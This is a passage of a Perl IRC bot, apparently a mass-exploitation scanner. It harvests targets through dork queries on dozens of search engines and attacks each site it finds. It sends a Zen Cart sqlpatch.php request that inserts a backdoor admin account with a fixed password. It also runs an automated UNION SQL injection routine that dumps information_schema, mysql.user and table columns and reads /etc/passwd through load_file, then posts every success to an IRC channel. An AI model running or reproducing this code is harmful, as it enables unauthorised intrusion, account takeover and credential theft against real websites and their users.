- my @list = &search_engine($chan,$bug,$dork,$engine,$zenlogo);
- my $num = scalar(@list);
- if ($num > 0) {
- foreach my $site (@list) {
- $count++;
- if ($count == $num-1) { &msgx("$chan","$zenlogo [$engine] Done ..."); }
- my $test = "http://".$site."admin/sqlpatch.php/password_forgotten.php?action=execute";
- my $code = "INSERT%20INTO%20`admin`%20(%20`admin_id`,%20`admin_name`,%20`admin_email`,%20`admin_pass`,%20`admin_level`%20)%20VALUES%20(%20'212',%20'shop',%20'findrea@ymail.com',%20'27c0aaa7b27eb487c4887a2bd3a10391:35',%20'66'%20);";
- my $html = get_content($test);
- if ($html =~ /Be sure to/ && $html=~ /end with/) {
- zen_query($test,$code,$chan,$site,$engine);
- }
- }
- }
- }
- sub zen_query() {
- my $url = $_[0];
- my $code = $_[1];
- my $chan = $_[2];
- my $site = $_[3];
- my $engine = $_[4];
- my $req = HTTP::Request->new(POST => $url);
- $req->content_type("application/x-www-form-urlencoded");
- $req->content("query_string=".$code);
- my $ua = LWP::UserAgent->new(agent => $uagent);
- $ua->timeout(3);
- my $res = $ua->request($req);
- my $data = $res->as_string;
- if ( $data =~ /1 statements processed/i ) {
- &msg("$chanx","$zenlogo (3$engine15) (3OK15)14 http://".$site."4admin/login.php 15(4USER15) shop 15(4PASS15) jancok");
- &msg("$admin","$zenlogo (3$engine15) (3OK15)14 http://".$site."4admin/login.php 15(4USER15) shop 15(4PASS15) jancok");
- }
- elsif ( $data =~ /Duplicate entry/ ) {
- &msg("$chanx","$zenlogo (3$engine15) (4015)14 http://".$site."4admin/login.php 15(12USER15) shop 15(12PASS15) jancok");
- &msg("$admin","$zenlogo (3$engine15) (4015)14 http://".$site."4admin/login.php 15(12USER15) shop 15(12PASS15) jancok");
- }
- else {
- &msg("$chan","$zenlogo (4@12$engine15) (4LAWAS15)8 http://".$site."4admin/login.php"); }
- sleep(2);
- }
- ########## [SQL]
- sub sql() {
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $count = 0;
- my @list = &search_engine($chan,$bug,$dork,$engine,$sqllogo);
- my $num = scalar(@list);
- if ($num > 0) {
- foreach my $site (@list) {
- $count++;
- if ($count == $num-1) { &msg("$chan","$sqllogo (@12$engine15)15 Sampun Mantun"); }
- my $test = "http://".$site.$bug."'";
- my $vuln = "http://".$site."12".$bug;
- my $sqlsite = "http://".$site.$bug;
- my $html = &get_content($test);
- if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
- if ($html =~ m/You have an error in your SQL syntax/i || $html =~ m/Query failed/i || $html =~ m/SQL query failed/i ) {
- &sqlbrute($sqlsite,$chan,$engine);}
- elsif ($html =~ m/ODBC SQL Server Driver/i || $html =~ m/Unclosed quotation mark/i || $html =~ m/Microsoft OLE DB Provider for/i ) {
- &msg("$chan","$sqllogo (@12$engine15)15(13@12MsSQL15)4 ".$vuln);&sqlbrute($sqlsite,$chan,$engine);}
- elsif ($html =~ m/Microsoft JET Database/i || $html =~ m/ODBC Microsoft Access Driver/i || $html =~ m/Microsoft OLE DB Provider for Oracle/i ) {
- &msg("$chan","$sqllogo (@12$engine15)15(13@12MsAccess15)4 ".$vuln);&sqlbrute($sqlsite,$chan,$engine);}
- elsif ($html =~ m/mysql_/i || $html =~ m/Division by zero in/i || $html =~ m/mysql_fetch_array/i ) {
- &sqlbrute($sqlsite,$chan,$engine);}
- } exit; sleep(2); }
- }
- }
- }
- sub sqlbrute() {
- my $situs=$_[0];
- my $chan =$_[1];
- my $engine=$_[2];
- my $columns=20;
- my $cfin.="--";
- my $cmn.= "+";
- for ($column = 0 ; $column < $columns ; $column ++)
- {
- $union.=','.$column;
- $inyection.=','."0x6c6f67696e70776e7a";
- if ($column == 0)
- {
- $inyection = '';
- $union = '';
- }
- $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin;
- $response=get($sql);
- if($response =~ /loginpwnz/)
- {
- $column ++;
- $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;
- &msg("$chan","$sqllogo (@12$engine15)15(13@12SQL15)12 $sql ");
- $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."information_schema.tables".$cfin;
- $response=get($sql)or die("[-] Impossible to get Information_Schema\n");
- if($response =~ /loginpwnz/)
- {
- $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."information_schema.tables".$cfin;
- &msg("$chan","$sqllogo (@12$engine15)15(13@12SQL15)(4@14INFO_SCHEMA14)12 $sql ");
- }
- $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."mysql.user".$cfin;
- $response=get($sql)or die("[-] Impossible to get MySQL.User\n");
- if($response =~ /loginpwnz/)
- {
- $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."mysql.user".$cfin;
- &msg("$chan","$sqllogo (@12$engine15)15(13@12SQL15)(4@14USER14)12 $sql ");
- }
- else
- {
- }
- while ($loadcont < $column-1)
- {
- $loadfile.=','.'load_file(0x2f6574632f706173737764)';
- $loadcont++;
- }
- $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."load_file(0x2f6574632f706173737764)".$loadfile.$cfin;
- $response=get($sql)or die("[-] Impossible to inject LOAD_FILE\n");
- if($response =~ /root:x:/)
- {
- &msg("$chan","$sqllogo (@12$engine15)15(13@12SQL15)(4@14Load File14)12 $sql ");
- }
- else
- {
- }
- foreach $tabla(@tabele)
- {
- chomp($tabla);
- $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn.$tabla.$cfin;
- $response=get($sql)or die("[-] Impossible to get tables\n");
- if($response =~ /loginpwnz/)
- {
- $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn.$tabla.$cfin;
- &msg("$chan","$sqllogo (@12$engine15)15(13@12SQL15)(4@14Tabel14)12 $sql ");
- &tabelka($situs,$tabla,$chan,$engine);
- }
- }
- }
- }
- }
- sub tabelka() {
- my $situs =$_[0];
- my $tabla =$_[1];
- my $chan =$_[2];
- my $engine=$_[3];
- my $cfin.="--";
- my $cmn.= "+";
- chomp($tabla);
- foreach $columna(@kolumny)
- {
- chomp($columna);
- $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."concat(0x6c6f67696e70776e7a,0x3a,$columna)".$inyection.$cmn."from".$cmn.$tabla.$cfin;
- $response=get($sql)or die("[-] Impossible to get columns\n");
- if ($response =~ /loginpwnz/)
- {
- &msg("$chan","$sqllogo (@12$engine15)15(13@12SQL15)(7@14SQLi Vuln14)12 $situs 14(4@14Kolom14)12 $columna 14(4@14Tabel14)12 $tabla ");
- }
- }
- }
- #########################################
- sub search_engine() {
- my (@total,@clean);
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $logo = $_[4];
- if ($engine eq "google") { my @google = &google($dork); push(@total,@google); }
- if ($engine eq "GoogleGR") { my @ggr = &ggr($dork); push(@total,@ggr); }
- if ($engine eq "GooglePL") { my @gpl = &gpl($dork); push(@total,@gpl); }
- if ($engine eq "GoogleJP") { my @gjp = &gjp($dork); push(@total,@gjp); }
- if ($engine eq "GoogleDK") { my @gdk = &gdk($dork); push(@total,@gdk); }
- if ($engine eq "GoogleNO") { my @gno = &gno($dork); push(@total,@gno); }
- if ($engine eq "GoogleFI") { my @gfi = &gfi($dork); push(@total,@gfi); }
- if ($engine eq "GoogleIT") { my @git = &git($dork); push(@total,@git); }
- if ($engine eq "GoogleCA") { my @gca = &gca($dork); push(@total,@gca); }
- if ($engine eq "GoogleDE") { my @gde = &gde($dork); push(@total,@gde); }
- if ($engine eq "GoogleES") { my @ges = &ges($dork); push(@total,@ges); }
- if ($engine eq "GoogleHK") { my @ghk = &ghk($dork); push(@total,@ghk); }
- if ($engine eq "GoogleAU") { my @gau = &gau($dork); push(@total,@gau); }
- if ($engine eq "GoogleRO") { my @gro = &gro($dork); push(@total,@gro); }
- if ($engine eq "GoogleRU") { my @gru = &gru($dork); push(@total,@gru); }
- if ($engine eq "GoogleSI") { my @gsi = &gsi($dork); push(@total,@gsi); }
- if ($engine eq "GooglePT") { my @gpt = &gpt($dork); push(@total,@gpt); }
- if ($engine eq "GoogleMS") { my @gms = &gms($dork); push(@total,@gms); }
- if ($engine eq "GooGLeAF") { my @ggf = &ggf($dork); push(@total,@ggf); }
- if ($engine eq "rediff") { my @rediff = &rediff($dork); push(@total,@rediff); }
- if ($engine eq "bing") { my @bing = &bing($dork); push(@total,@bing); }
- if ($engine eq "BingDE") { my @bingDE = bingDE($dork); push(@total,@bingDE); }
- if ($engine eq "BingUK") { my @bingUK = bingUK($dork); push(@total,@bingUK); }
- if ($engine eq "BingCA") { my @bingCA = bingCA($dork); push(@total,@bingCA); }
- if ($engine eq "BingBR") { my @bingBR = bingBR($dork); push(@total,@bingBR); }
- if ($engine eq "BingFR") { my @bingFR = bingFR($dork); push(@total,@bingFR); }
- if ($engine eq "BingES") { my @bingES = bingES($dork); push(@total,@bingES); }
- if ($engine eq "BingIT") { my @bingIT = bingIT($dork); push(@total,@bingIT); }
- if ($engine eq "BingBE") { my @bingBE = bingBE($dork); push(@total,@bingBE); }
- if ($engine eq "BingNL") { my @bingNL = bingNL($dork); push(@total,@bingNL); }
- if ($engine eq "BingPT") { my @bingPT = bingPT($dork); push(@total,@bingPT); }
- if ($engine eq "BingNO") { my @bingNO = bingNO($dork); push(@total,@bingNO); }
- if ($engine eq "BingDK") { my @bingDK = bingDK($dork); push(@total,@bingDK); }
- if ($engine eq "BingSE") { my @bingSE = bingSE($dork); push(@total,@bingSE); }
- if ($engine eq "BingCH") { my @bingCH = bingCH($dork); push(@total,@bingCH); }
- if ($engine eq "BingNZ") { my @bingNZ = bingNZ($dork); push(@total,@bingNZ); }
- if ($engine eq "BingRU") { my @bingRU = bingRU($dork); push(@total,@bingRU); }
- if ($engine eq "BingJP") { my @bingJP = bingJP($dork); push(@total,@bingJP); }
- if ($engine eq "BingCN") { my @bingCN = bingCN($dork); push(@total,@bingCN); }
- if ($engine eq "BingKR") { my @bingKR = bingKR($dork); push(@total,@bingKR); }
- if ($engine eq "BingMX") { my @bingMX = bingMX($dork); push(@total,@bingMX); }
- if ($engine eq "BingAR") { my @bingAR = bingAR($dork); push(@total,@bingAR); }
- if ($engine eq "BingCL") { my @bingCL = bingCL($dork); push(@total,@bingCL); }
- if ($engine eq "altavista") { my @altavista = &altavista($dork); push(@total,@altavista); }
- if ($engine eq "yahoo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
- if ($engine eq "YahOoCA") { my @yahooCA = &yahooCA($dork); push(@total,@yahooCA); }
- if ($engine eq "YahOoUK") { my @yahooUK = &yahooUK($dork); push(@total,@yahooUK); }
- if ($engine eq "YahOoDE") { my @yahooDE = &yahooDE($dork); push(@total,@yahooDE); }
- if ($engine eq "YahOoFR") { my @yahooFR = &yahooFR($dork); push(@total,@yahooFR); }
- if ($engine eq "YahOoES") { my @yahooES = &yahooES($dork); push(@total,@yahooES); }
- if ($engine eq "YahOoIT") { my @yahooIT = &yahooIT($dork); push(@total,@yahooIT); }
- if ($engine eq "YahOoID") { my @yahooID = &yahooID($dork); push(@total,@yahooID); }
- if ($engine eq "YahOoIN") { my @yahooIN = &yahooIN($dork); push(@total,@yahooIN); }
- if ($engine eq "YahOoAU") { my @yahooAU = &yahooAU($dork); push(@total,@yahooAU); }
- if ($engine eq "YahOoMX") { my @yahooMX = &yahooMX($dork); push(@total,@yahooMX); }
- if ($engine eq "YahOoTW") { my @yahooTW = &yahooTW($dork); push(@total,@yahooTW); }
- if ($engine eq "YahOoBR") { my @yahooBR = &yahooBR($dork); push(@total,@yahooBR); }
- if ($engine eq "YahOoAR") { my @yahooAR = &yahooAR($dork); push(@total,@yahooAR); }
- if ($engine eq "YahOoNL") { my @yahooNL = &yahooNL($dork); push(@total,@yahooNL); }
- if ($engine eq "YahOoDK") { my @yahooDK = &yahooDK($dork); push(@total,@yahooDK); }
- if ($engine eq "YahOoPH") { my @yahooPH = &yahooPH($dork); push(@total,@yahooPH); }
- if ($engine eq "YahOoCL") { my @yahooCL = &yahooCL($dork); push(@total,@yahooCL); }
- if ($engine eq "YahOoRU") { my @yahooRU = &yahooRU($dork); push(@total,@yahooRU); }
- if ($engine eq "YahOoCH") { my @yahooCH = &yahooCH($dork); push(@total,@yahooCH); }
- if ($engine eq "YahOoCO") { my @yahooCO = &yahooCO($dork); push(@total,@yahooCO); }
- if ($engine eq "YahOoFI") { my @yahooFI = &yahooFI($dork); push(@total,@yahooFI); }
- if ($engine eq "YahOoRO") { my @yahooRO = &yahooRO($dork); push(@total,@yahooRO); }
- if ($engine eq "YahOoVE") { my @yahooVE = &yahooVE($dork); push(@total,@yahooVE); }
- if ($engine eq "YahOoAT") { my @yahooAT = &yahooAT($dork); push(@total,@yahooAT); }
- if ($engine eq "YahOoPL") { my @yahooPL = &yahooPL($dork); push(@total,@yahooPL); }
- if ($engine eq "YahOoKR") { my @yahooKR = &yahooKR($dork); push(@total,@yahooKR); }
- if ($engine eq "YahOoNZ") { my @yahooNZ = &yahooNZ($dork); push(@total,@yahooNZ); }
- if ($engine eq "YahOoGR") { my @yahooGR = &yahooGR($dork); push(@total,@yahooGR); }
- if ($engine eq "YahOoPE") { my @yahooPE = &yahooPE($dork); push(@total,@yahooPE); }
- if ($engine eq "YahOo7") { my @yahoo7 = &yahoo7($dork); push(@total,@yahoo7); }
- if ($engine eq "ask") { my @ask = &ask($dork); push(@total,@ask); }
- if ($engine eq "AsK1") { my @ask1 = &ask($dork); push(@total,@ask1); }
- if ($engine eq "AsKCA") { my @askCA = &askCA($dork); push(@total,@askCA); }
- if ($engine eq "AsKDE") { my @askDE = &askDE($dork); push(@total,@askDE); }
- if ($engine eq "AsKIT") { my @askIT = &askIT($dork); push(@total,@askIT); }
- if ($engine eq "AsKUK") { my @askUK = &askUK($dork); push(@total,@askUK); }
- if ($engine eq "AsKFR") { my @askFR = &askFR($dork); push(@total,@askFR); }
- if ($engine eq "AsKES") { my @askES = &askES($dork); push(@total,@askES); }
- if ($engine eq "AsKRU") { my @askRU = &askRU($dork); push(@total,@askRU); }
- if ($engine eq "AsKNL") { my @askNL = &askNL($dork); push(@total,@askNL); }
- if ($engine eq "AsKEU") { my @askEU = &askEU($dork); push(@total,@askEU); }
- if ($engine eq "AsKPL") { my @askPL = &askPL($dork); push(@total,@askPL); }
- if ($engine eq "AsKAT") { my @askAT = &askAT($dork); push(@total,@askAT); }
- if ($engine eq "AsKSE") { my @askSE = &askSE($dork); push(@total,@askSE); }
- if ($engine eq "AsKDK") { my @askDK = &askDK($dork); push(@total,@askDK); }
- if ($engine eq "AsKNO") { my @askNO = &askNO($dork); push(@total,@askNO); }
- if ($engine eq "AsKAU") { my @askAU = &askAU($dork); push(@total,@askAU); }
- if ($engine eq "AsKBR") { my @askBR = &askBR($dork); push(@total,@askBR); }
- if ($engine eq "AsKMX") { my @askMX = &askMX($dork); push(@total,@askMX); }
- if ($engine eq "AsKJP") { my @askJP = &askJP($dork); push(@total,@askJP); }
- if ($engine eq "uol") { my @uol = &uol($dork); push(@total,@uol); }
- if ($engine eq "clusty") { my @clusty = &clusty($dork); push(@total,@clusty); }
- if ($engine eq "gutser") { my @gutser = &gutser($dork); push(@total,@gutser); }
- if ($engine eq "tawi") { my @tawi = tawi($dork); push(@total,@tawi); }
- if ($engine eq "tawia") { my @tawia = tawia($dork); push(@total,@tawia); }
- if ($engine eq "tawib") { my @tawib = tawib($dork); push(@total,@tawib); }
- if ($engine eq "tawic") { my @tawic = tawic($dork); push(@total,@tawic); }
- if ($engine eq "tawid") { my @tawid = tawid($dork); push(@total,@tawid); }
- if ($engine eq "tawie") { my @tawie = tawie($dork); push(@total,@tawie); }
- if ($engine eq "tawif") { my @tawif = tawif($dork); push(@total,@tawif); }
- if ($engine eq "tawig") { my @tawig = tawig($dork); push(@total,@tawig); }
- if ($engine eq "tawih") { my @tawih = tawih($dork); push(@total,@tawih); }
- if ($engine eq "tawii") { my @tawii = tawii($dork); push(@total,@tawii); }
- if ($engine eq "tawij") { my @tawij = tawij($dork); push(@total,@tawij); }
- if ($engine eq "tawik") { my @tawik = tawik($dork); push(@total,@tawik); }
- if ($engine eq "google2") { my @google2 = &google2($dork); push(@total,@google2); }
- if ($engine eq "exalead") { my @exalead = &exalead($dork); push(@total,@exalead); }
- if ($engine eq "lycos") { my @lycos = &lycos($dork); push(@total,@lycos); }
- if ($engine eq "virgilio") { my @virgilio = &virgilio($dork); push(@total,@virgilio); }
- if ($engine eq "webde") { my @webde = &webde($dork); push(@total,@webde); }
- if ($engine eq "hotbot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
- if ($engine eq "aol") { my @aol = &aol($dork); push(@total,@aol); }
- if ($engine eq "sapo") { my @sapo = &sapo($dork); push(@total,@sapo); }
- if ($engine eq "duck") { my @duck = &duck($dork); push(@total,@duck); }
- if ($engine eq "lygo") { my @lygo = &lygo($dork); push(@total,@lygo); }
- if ($engine eq "yause") { my @yause = &yause($dork); push(@total,@yause); }
- if ($engine eq "baidu") { my @baidu = &baidu($dork); push(@total,@baidu); }
- if ($engine eq "kipot") { my @kipot = &kipot($dork); push(@total,@kipot); }
- if ($engine eq "gibla") { my @gibla = &gibla($dork); push(@total,@gibla); }
- if ($engine eq "black") { my @black = &black($dork); push(@total,@black); }
- if ($engine eq "onet") { my @onet = &onet($dork); push(@total,@onet); }
- if ($engine eq "sizuka") { my @sizuka = &sizuka($dork); push(@total,@sizuka); }
- if ($engine eq "walla") { my @walla = &walla($dork); push(@total,@walla); }
- if ($engine eq "demos") { my @demos = &demos($dork); push(@total,@demos); }
- if ($engine eq "rose") { my @rose = &rose($dork); push(@total,@rose); }
- if ($engine eq "seznam") { my @seznam = &seznam($dork); push(@total,@seznam); }
- if ($engine eq "tiscali") { my @tiscali = &tiscali($dork); push(@total,@tiscali); }
- if ($engine eq "naver") { my @naver = &naver($dork); push(@total,@naver); }
- if ($engine eq "live") { my @live = &live($dork); push(@total,@live); }
- if ($engine eq "rakuten") { my @rakuten = &rakuten($dork); push(@total,@rakuten); }
- if ($engine eq "biglobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }
- if ($engine eq "nova") { my @nova = &nova($dork); push(@total,@nova); }
- if ($engine eq "nadji") { my @nadji = &nadji($dork); push(@total,@nadji); }
- if ($engine eq "goo") { my @goo = &goo($dork); push(@total,@goo); }
- if ($engine eq "uksubmit") { my @uksubmit = &uksubmit($dork); push(@total,@uksubmit); }
- if ($engine eq "excite") { my @excite = &excite($dork); push(@total,@excite); }
- if ($engine eq "amidalla") { my @amidalla = &amidalla($dork); push(@total,@amidalla); }
- if ($engine eq "buscar") { my @buscar = &buscar($dork); push(@total,@buscar); }
- if ($engine eq "sogou") { my @sogou = &sogou($dork); push(@total,@sogou); }
- if ($engine eq "interia") { my @interia = &interia($dork); push(@total,@interia); }
- if ($engine eq "snz") { my @snz = &snz($dork); push(@total,@snz); }
- if ($engine eq "yandex") { my @yandex = &yandex($dork); push(@total,@yandex); }
- if ($engine eq "joeant") { my @joeant = &joeant($dork); push(@total,@joeant); }
- if ($engine eq "terra") { my @terra = &terra($dork); push(@total,@terra); }
- if ($engine eq "youdao") { my @youdao = &youdao($dork); push(@total,@youdao); }
- if ($engine eq "amfibi") { my @amfibi = &amfibi($dork); push(@total,@amfibi); }
- if ($engine eq "bigclique") { my @bigclique = &bigclique($dork); push(@total,@bigclique); }
- if ($engine eq "dancefloor") { my @dancefloor = &dancefloor($dork); push(@total,@dancefloor); }
- if ($engine eq "latina") { my @latina = &latina($dork); push(@total,@latina); }
- if ($engine eq "goojp") { my @goojp = &goojp($dork); push(@total,@goojp); }
- if ($engine eq "yahoohk") { my @yahoohk = &yahoohk($dork); push(@total,@yahoohk); }
- if ($engine eq "setooz") { my @setooz = &setooz($dork); push(@total,@setooz); }
- if ($engine eq "aubing") { my @aubing = &aubing($dork); push(@total,@aubing); }
- if ($engine eq "yahoo7") { my @yahoo7 = &yahoo7($dork); push(@total,@yahoo7); }
- if ($engine eq "gooes") { my @gooes = &gooes($dork); push(@total,@gooes); }
- if ($engine eq "neti") { my @neti = &neti($dork); push(@total,@neti); }
- if ($engine eq "doogate") { my @doogate = &doogate($dork); push(@total,@doogate); }
- if ($engine eq "webwombat") { my @webwombat = &webwombat($dork); push(@total,@webwombat); }
- if ($engine eq "euroseek") { my @euroseek = &euroseek($dork); push(@total,@euroseek); }
- if ($engine eq "alltheweb") { my @alltheweb = &alltheweb($dork); push(@total,@alltheweb); }
- if ($engine eq "mamma") { my @mamma = &mamma($dork); push(@total,@mamma); }
- if ($engine eq "yahoo2") { my @yahoo2 = &yahoo2($dork); push(@total,@yahoo2); }
- if ($engine eq "kvasir") { my @kvasir = &kvasir($dork); push(@total,@kvasir); }
- if ($engine eq "netsprint") { my @netsprint = &netsprint($dork); push(@total,@netsprint); }
- if ($engine eq "saol") { my @saol = &saol($dork); push(@total,@saol); }
- if ($engine eq "lookle") { my @lookle = &lookle($dork); push(@total,@lookle); }
- if ($engine eq "optuszoo") { my @optuszoo = &optuszoo($dork); push(@total,@optuszoo); }
- if ($engine eq "search66") { my @search66 = &search66($dork); push(@total,@search66); }
- if ($engine eq "arrama") { my @arrama = &arrama($dork); push(@total,@arrama); }
- if ($engine eq "excitejp") { my @excitejp = &excitejp($dork); push(@total,@excitejp); }
- if ($engine eq "clix") { my @clix = &clix($dork); push(@total,@clix); }
- if ($engine eq "searchch") { my @searchch = &searchch($dork); push(@total,@searchch); }
- if ($engine eq "cada") { my @cada = &cada($dork); push(@total,@cada); }
- if ($engine eq "ByPass") { my @bypass = &bypass($dork); push(@total,@bypass); }
- @clean = &clean(@total);
- #&msg("$chan","$logo(14$engine0)3 Total:10 (".scalar(@total).")3 Clean:4 (".scalar(@clean).")");
- return @clean;
- }
- #########################################
- sub isFound() {
- my $status = 0;
- my $link = $_[0];
- my $reqexp = $_[1];
- my $res = &get_content($link);
- if ($res =~ /$reqexp/) { $status = 1 }
- return $status;
- }
- sub get_content() {
- my $url = $_[0];
- my $ua = LWP::UserAgent->new(agent => $uagent);
- $ua->timeout(7);
- my $req = HTTP::Request->new(GET => $url);
- my $res = $ua->request($req);
- return $res->content;
- }
- ######################################### SEARCH ENGINE gibla
- sub google() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=500; $i+=10){
- my $search = ("http://www.google.com/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gga() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.gr/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ggb() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.pl/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ggc() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.jp/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ggd() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.dk/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gge() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.no/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ggf() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.fi/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ggr() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.gr/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gpl() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.pl/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gjp() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.jp/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gdk() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.dk/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gno() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.no/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gfi() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.fi/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub git() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.it/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gca() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.ca/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gde() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.de/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ges() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.es/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ghk() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.hk/search?q=".key($key)."&num=100&filter=0&start=".$i);
